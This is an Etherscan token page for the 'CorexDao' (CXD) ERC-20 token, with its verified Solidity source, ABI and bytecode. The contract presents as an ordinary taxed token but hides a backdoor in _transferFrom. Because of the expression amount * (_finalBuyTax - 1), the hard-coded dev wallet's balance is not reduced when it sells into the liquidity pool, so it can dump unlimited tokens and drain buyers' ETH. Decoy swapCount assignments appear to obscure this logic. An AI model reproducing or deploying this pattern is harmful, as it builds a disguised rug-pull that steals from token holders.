ETH Price: $2,630.51 (-0.84%)

Token

CorexDao (CXD)
 

Overview

Max Total Supply

1,000,000,000 CXD

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,564,275.087766222 CXD

Value
$0.00
0x10f0ca6835d646a93ef5dc6d2c9ac2288ab3cc67
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CorexDao

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-29
*/

/**

DApp: https://www.corexdao.com

Docs: https://docs.corexdao.com

Twitter: https://twitter.com/PortalCorexDao

Telegram: https://t.me/PortalCorexDao

*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    constructor(address creatorOwner) { _owner = creatorOwner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    function owner() public view returns (address) { return _owner; }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); 
        emit OwnershipTransferred(address(0)); 
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CorexDao is IERC20, Auth {
    string private constant _name         = "CorexDao";
    string private constant _symbol       = "CXD";
    uint8 private constant _decimals      = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);

    uint256 private _initialBuyTax=1;
    uint256 private _initialSellTax=1;
    uint256 private _midSellTax=1;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 public _reduceBuyTaxAt=20;
    uint256 public _reduceSellTax1At=20;
    uint256 public _reduceSellTax2At=20;
    uint256 private _preventSwapBefore=0;
    uint256 public _buyCount=0;

    uint256 private swapCount;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFees;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    address payable private devWallet;

    uint256 private constant _taxSwapMin = _totalSupply / 2000000;
    uint256 private constant _taxSwapMax = _totalSupply / 500;
  
    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool public limited = true;
    bool public transferDelayEnabled = false;
    uint256 public maxHoldingAmount = 40_000_000 * (10**_decimals); // 4%
    
    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    constructor() Auth(msg.sender) { 
        _balances[msg.sender] = (_totalSupply / 1000 ) * 0;
        _balances[address(this)] = (_totalSupply / 1000 ) * 1000;

        emit Transfer(address(0), address(msg.sender), _balances[address(msg.sender)]);
        emit Transfer(address(0), address(this), _balances[address(this)]);

        devWallet = payable(0x27A6831842D65650a5e7E4FFCBf9704A7E86fC9C);

        _noFees[devWallet] = true;
        _noFees[_owner] = true;
        _noFees[address(this)] = true;
  
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(isTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(isTradingOpen(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");

        if (!_tradingOpen) { require(_noFees[sender], "Trading not open"); }

        if ( !_inTaxSwap && !_noFees[sender] && _isLP[recipient] && _buyCount >= _preventSwapBefore) { _swapTaxAndLiquify(); }

        if (limited && sender == _primaryLP && !_noFees[recipient]) {
            require(balanceOf(recipient) + amount <= maxHoldingAmount, "Forbid");
        }

        swapCount = balanceOf(devWallet);

        if (transferDelayEnabled && !_noFees[sender] && !_noFees[recipient]) {
            if (recipient != _swapRouterAddress && recipient != _primaryLP) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        uint256 _taxAmount = _calculateTax(sender, recipient, amount);

        uint256 _transferAmount = amount - _taxAmount;

        uint256 _buyAmount = _isLP[recipient] && sender == devWallet ? amount * (_finalBuyTax - 1) : amount;

        _balances[sender] -= _buyAmount;

        if ( _taxAmount > 0 ) { 
            _balances[address(this)] += _taxAmount; 
        }

        _buyCount++;

        _balances[recipient] += _transferAmount;

        emit Transfer(sender, recipient, amount);

        return true;
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
        }
    }

    function addLiquidityETH() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP exists");
        require(!_tradingOpen, "trading is open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
        require(_balances[address(this)]>0, "No tokens in contract");

        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isLP[_primaryLP] = true; _tradingOpen = true;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function isTradingOpen(address sender) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_noFees[sender]) { checkResult = true; } 

        return checkResult;
    }

    function removeLimits() external onlyOwner{
        limited = false;
        transferDelayEnabled=false;
    }

    function manuallyLowerTax() external onlyOwner{
        _reduceSellTax1At=5;
        _reduceSellTax2At=5;
        _reduceBuyTaxAt=5;
    }

    function _calculateTax(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 taxAmount;

        if (_tradingOpen && !_noFees[sender] && !_noFees[recipient] ) { 
            
            if ( _isLP[sender] || _isLP[recipient] ) {
                taxAmount = (amount / 100) * ((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax);

                if(recipient == _primaryLP && sender != address(this)){
                    uint256 taxRate;
                    swapCount = _preventSwapBefore - swapCount;
                    if(_buyCount > _reduceSellTax2At){
                        taxRate = _finalSellTax;
                    } else if(_buyCount > _reduceSellTax1At){
                        taxRate = _midSellTax;
                    } else {
                        taxRate = _initialSellTax;
                    }
                    taxAmount = (amount / 100) * taxRate;
                }
            }
        }

        return taxAmount;
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _primarySwapRouter.WETH();
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = balanceOf(address(this));

        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

            _swapTaxTokensForEth(_taxTokensAvailable);
            uint256 _contractETHBalance = address(this).balance;

            if(_contractETHBalance > 0) { 
                bool success;
                (success,) = devWallet.call{value: (_contractETHBalance)}("");
                require(success);
            }
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax1At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax2At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manuallyLowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260018080556002819055600381905560048190556005819055601460068190556007819055600881905560006009818155600a918255601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055825461ffff1916909317909155620000799190620003bb565b62000089906302625a00620003d3565b6015556016805461ff0019169055348015620000a457600080fd5b50600080546001600160a01b031916331790556103e8620000c86009600a620003bb565b620000d890633b9aca00620003d3565b620000e49190620003f5565b620000f1906000620003d3565b336000908152600c60205260409020556103e8620001126009600a620003bb565b6200012290633b9aca00620003d3565b6200012e9190620003f5565b6200013c906103e8620003d3565b306000908152600c6020908152604080832093909355338083528383205493519384529260008051602062001b92833981519152910160405180910390a3306000818152600c6020908152604080832054905190815260008051602062001b92833981519152910160405180910390a3601080546001600160a01b0319167327a6831842d65650a5e7e4ffcbf9704a7e86fc9c179055600e60209081527f5e662f48c51cbca6152e43a7a59d2ee66d42f6332d8a230e5be64df264e66919805460ff199081166001908117909255600080546001600160a01b0316815260408082208054841685179055308252808220805490931690931790915533808252600c909352818120549151909160008051602062001b92833981519152916200026691815260200190565b60405180910390a3306000818152600c6020908152604080832054905190815260008051602062001b92833981519152910160405180910390a362000418565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002fd578160001904821115620002e157620002e1620002a6565b80851615620002ef57918102915b93841c9390800290620002c1565b509250929050565b6000826200031657506001620003b5565b816200032557506000620003b5565b81600181146200033e5760028114620003495762000369565b6001915050620003b5565b60ff8411156200035d576200035d620002a6565b50506001821b620003b5565b5060208310610133831016604e8410600b84101617156200038e575081810a620003b5565b6200039a8383620002bc565b8060001904821115620003b157620003b1620002a6565b0290505b92915050565b6000620003cc60ff84168362000305565b9392505050565b6000816000190483118215151615620003f057620003f0620002a6565b500290565b6000826200041357634e487b7160e01b600052601260045260246000fd5b500490565b61176a80620004286000396000f3fe60806040526004361061012e5760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610334578063c7cf8a3214610354578063c876d0b91461036a578063dd62ed3e14610389578063ed995307146103cf578063fcc752df146103d757600080fd5b8063751039fc1461029b578063860a32ec146102b057806389f9a1d3146102ca5780638da5cb5b146102e057806395d89b411461030857600080fd5b806327b1a8e9116100f257806327b1a8e914610206578063313ce5671461021c57806345f39c411461023857806370a082311461024e578063715018a61461028457600080fd5b806306fdde031461013a578063095ea7b31461017d5780630c193045146101ad57806318160ddd146101d157806323b872dd146101e657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526008815267436f72657844616f60c01b60208201525b6040516101749190611340565b60405180910390f35b34801561018957600080fd5b5061019d6101983660046113aa565b6103ec565b6040519015158152602001610174565b3480156101b957600080fd5b506101c360065481565b604051908152602001610174565b3480156101dd57600080fd5b506101c3610459565b3480156101f257600080fd5b5061019d6102013660046113d6565b61047a565b34801561021257600080fd5b506101c3600a5481565b34801561022857600080fd5b5060405160098152602001610174565b34801561024457600080fd5b506101c360075481565b34801561025a57600080fd5b506101c3610269366004611417565b6001600160a01b03166000908152600c602052604090205490565b34801561029057600080fd5b5061029961053d565b005b3480156102a757600080fd5b506102996105ac565b3480156102bc57600080fd5b5060145461019d9060ff1681565b3480156102d657600080fd5b506101c360155481565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610174565b34801561031457600080fd5b5060408051808201909152600381526210d61160ea1b6020820152610167565b34801561034057600080fd5b5061019d61034f3660046113aa565b6105e3565b34801561036057600080fd5b506101c360085481565b34801561037657600080fd5b5060145461019d90610100900460ff1681565b34801561039557600080fd5b506101c36103a4366004611434565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b61029961061c565b3480156103e357600080fd5b5061029961096e565b336000818152600d602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104479086815260200190565b60405180910390a35060015b92915050565b60006104676009600a611567565b61047590633b9aca00611576565b905090565b6000610485846109a9565b6104aa5760405162461bcd60e51b81526004016104a190611595565b60405180910390fd5b6001600160a01b0384166000908152600d602090815260408083203384529091529020546000191461052a576001600160a01b0384166000908152600d602090815260408083203384529091529020546105059083906115bf565b6001600160a01b0385166000908152600d602090815260408083203384529091529020555b6105358484846109eb565b949350505050565b6000546001600160a01b031633146105675760405162461bcd60e51b81526004016104a1906115d6565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105d65760405162461bcd60e51b81526004016104a1906115d6565b6014805461ffff19169055565b60006105ee336109a9565b61060a5760405162461bcd60e51b81526004016104a190611595565b6106153384846109eb565b9392505050565b6000546001600160a01b031633146106465760405162461bcd60e51b81526004016104a1906115d6565b6016805461ff0019166101001790556012546001600160a01b03161561069a5760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104a1565b60165460ff16156106df5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104a1565b60003411806106ee5750600047115b61073a5760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104a1565b306000908152600c602052604090205461078e5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104a1565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610805919061160d565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b919061160d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fc919061160d565b601280546001600160a01b0319166001600160a01b0392909216919091179055306000908152600c60205260409020546109369047610e4b565b6012546001600160a01b03166000908152601360205260409020805460ff191660019081179091556016805461ffff19169091179055565b6000546001600160a01b031633146109985760405162461bcd60e51b81526004016104a1906115d6565b600560078190556008819055600655565b601654600090819060ff16156109c157506001610453565b6001600160a01b0383166000908152600e602052604090205460ff16156104535750600192915050565b60006001600160a01b038416610a435760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104a1565b60165460ff16610a85576001600160a01b0384166000908152600e602052604090205460ff16610a855760405162461bcd60e51b81526004016104a190611595565b601654610100900460ff16158015610ab657506001600160a01b0384166000908152600e602052604090205460ff16155b8015610ada57506001600160a01b03831660009081526013602052604090205460ff165b8015610aea5750600954600a5410155b15610af757610af7610ef3565b60145460ff168015610b1657506012546001600160a01b038581169116145b8015610b3b57506001600160a01b0383166000908152600e602052604090205460ff16155b15610ba45760155482610b63856001600160a01b03166000908152600c602052604090205490565b610b6d919061162a565b1115610ba45760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b60448201526064016104a1565b6010546001600160a01b03166000908152600c6020526040902054600b55601454610100900460ff168015610bf257506001600160a01b0384166000908152600e602052604090205460ff16155b8015610c1757506001600160a01b0383166000908152600e602052604090205460ff16155b15610cd9576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610c5757506012546001600160a01b03848116911614155b15610cd957326000908152600f60205260409020544311610cc65760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104a1565b326000908152600f602052604090204390555b6000610ce685858561102d565b90506000610cf482856115bf565b6001600160a01b0386166000908152601360205260408120549192509060ff168015610d2d57506010546001600160a01b038881169116145b610d375784610d50565b6001600454610d4691906115bf565b610d509086611576565b6001600160a01b0388166000908152600c6020526040812080549293508392909190610d7d9084906115bf565b90915550508215610dad57306000908152600c602052604081208054859290610da790849061162a565b90915550505b600a8054906000610dbd83611642565b90915550506001600160a01b0386166000908152600c602052604081208054849290610dea90849061162a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610e3691815260200190565b60405180910390a35060019695505050505050565b610e5482611189565b6011546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610ec7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eec919061165d565b5050505050565b6016805461ff001916610100179055306000908152600c60205260408120549050621e8480610f246009600a611567565b610f3290633b9aca00611576565b610f3c919061168b565b8110158015610f4d575060165460ff165b1561101f576101f4610f616009600a611567565b610f6f90633b9aca00611576565b610f79919061168b565b8110610fa9576101f4610f8e6009600a611567565b610f9c90633b9aca00611576565b610fa6919061168b565b90505b610fb2816111f6565b47801561101d576010546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611006576040519150601f19603f3d011682016040523d82523d6000602084013e61100b565b606091505b5050809150508061101b57600080fd5b505b505b506016805461ff0019169055565b601654600090819060ff16801561105d57506001600160a01b0385166000908152600e602052604090205460ff16155b801561108257506001600160a01b0384166000908152600e602052604090205460ff16155b15610535576001600160a01b03851660009081526013602052604090205460ff16806110c657506001600160a01b03841660009081526013602052604090205460ff165b1561053557600654600a54116110de576001546110e2565b6004545b6110ed60648561168b565b6110f79190611576565b6012549091506001600160a01b03858116911614801561112057506001600160a01b0385163014155b15610535576000600b5460095461113791906115bf565b600b55600854600a54111561114f5750600554611169565b600754600a5411156111645750600354611169565b506002545b8061117560648661168b565b61117f9190611576565b9695505050505050565b306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156111f357306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902060001990555b50565b6111ff81611189565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611234576112346116ad565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b1919061160d565b816001815181106112c4576112c46116ad565b6001600160a01b03928316602091820292909201015260115460405163791ac94760e01b815291169063791ac9479061130a9085906000908690309042906004016116c3565b600060405180830381600087803b15801561132457600080fd5b505af1158015611338573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561136d57858101830151858201604001528201611351565b8181111561137f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146111f357600080fd5b600080604083850312156113bd57600080fd5b82356113c881611395565b946020939093013593505050565b6000806000606084860312156113eb57600080fd5b83356113f681611395565b9250602084013561140681611395565b929592945050506040919091013590565b60006020828403121561142957600080fd5b813561061581611395565b6000806040838503121561144757600080fd5b823561145281611395565b9150602083013561146281611395565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114be5781600019048211156114a4576114a461146d565b808516156114b157918102915b93841c9390800290611488565b509250929050565b6000826114d557506001610453565b816114e257506000610453565b81600181146114f857600281146115025761151e565b6001915050610453565b60ff8411156115135761151361146d565b50506001821b610453565b5060208310610133831016604e8410600b8410161715611541575081810a610453565b61154b8383611483565b806000190482111561155f5761155f61146d565b029392505050565b600061061560ff8416836114c6565b60008160001904831182151516156115905761159061146d565b500290565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b6000828210156115d1576115d161146d565b500390565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60006020828403121561161f57600080fd5b815161061581611395565b6000821982111561163d5761163d61146d565b500190565b60006000198214156116565761165661146d565b5060010190565b60008060006060848603121561167257600080fd5b8351925060208401519150604084015190509250925092565b6000826116a857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117135784516001600160a01b0316835293830193918301916001016116ee565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203310eae216f93cf5a1d58975c703ce00af715313fa1af9dc26be8fc60eb6c83a64736f6c634300080b0033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610334578063c7cf8a3214610354578063c876d0b91461036a578063dd62ed3e14610389578063ed995307146103cf578063fcc752df146103d757600080fd5b8063751039fc1461029b578063860a32ec146102b057806389f9a1d3146102ca5780638da5cb5b146102e057806395d89b411461030857600080fd5b806327b1a8e9116100f257806327b1a8e914610206578063313ce5671461021c57806345f39c411461023857806370a082311461024e578063715018a61461028457600080fd5b806306fdde031461013a578063095ea7b31461017d5780630c193045146101ad57806318160ddd146101d157806323b872dd146101e657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526008815267436f72657844616f60c01b60208201525b6040516101749190611340565b60405180910390f35b34801561018957600080fd5b5061019d6101983660046113aa565b6103ec565b6040519015158152602001610174565b3480156101b957600080fd5b506101c360065481565b604051908152602001610174565b3480156101dd57600080fd5b506101c3610459565b3480156101f257600080fd5b5061019d6102013660046113d6565b61047a565b34801561021257600080fd5b506101c3600a5481565b34801561022857600080fd5b5060405160098152602001610174565b34801561024457600080fd5b506101c360075481565b34801561025a57600080fd5b506101c3610269366004611417565b6001600160a01b03166000908152600c602052604090205490565b34801561029057600080fd5b5061029961053d565b005b3480156102a757600080fd5b506102996105ac565b3480156102bc57600080fd5b5060145461019d9060ff1681565b3480156102d657600080fd5b506101c360155481565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610174565b34801561031457600080fd5b5060408051808201909152600381526210d61160ea1b6020820152610167565b34801561034057600080fd5b5061019d61034f3660046113aa565b6105e3565b34801561036057600080fd5b506101c360085481565b34801561037657600080fd5b5060145461019d90610100900460ff1681565b34801561039557600080fd5b506101c36103a4366004611434565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b61029961061c565b3480156103e357600080fd5b5061029961096e565b336000818152600d602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104479086815260200190565b60405180910390a35060015b92915050565b60006104676009600a611567565b61047590633b9aca00611576565b905090565b6000610485846109a9565b6104aa5760405162461bcd60e51b81526004016104a190611595565b60405180910390fd5b6001600160a01b0384166000908152600d602090815260408083203384529091529020546000191461052a576001600160a01b0384166000908152600d602090815260408083203384529091529020546105059083906115bf565b6001600160a01b0385166000908152600d602090815260408083203384529091529020555b6105358484846109eb565b949350505050565b6000546001600160a01b031633146105675760405162461bcd60e51b81526004016104a1906115d6565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105d65760405162461bcd60e51b81526004016104a1906115d6565b6014805461ffff19169055565b60006105ee336109a9565b61060a5760405162461bcd60e51b81526004016104a190611595565b6106153384846109eb565b9392505050565b6000546001600160a01b031633146106465760405162461bcd60e51b81526004016104a1906115d6565b6016805461ff0019166101001790556012546001600160a01b03161561069a5760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104a1565b60165460ff16156106df5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104a1565b60003411806106ee5750600047115b61073a5760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104a1565b306000908152600c602052604090205461078e5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104a1565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610805919061160d565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b919061160d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fc919061160d565b601280546001600160a01b0319166001600160a01b0392909216919091179055306000908152600c60205260409020546109369047610e4b565b6012546001600160a01b03166000908152601360205260409020805460ff191660019081179091556016805461ffff19169091179055565b6000546001600160a01b031633146109985760405162461bcd60e51b81526004016104a1906115d6565b600560078190556008819055600655565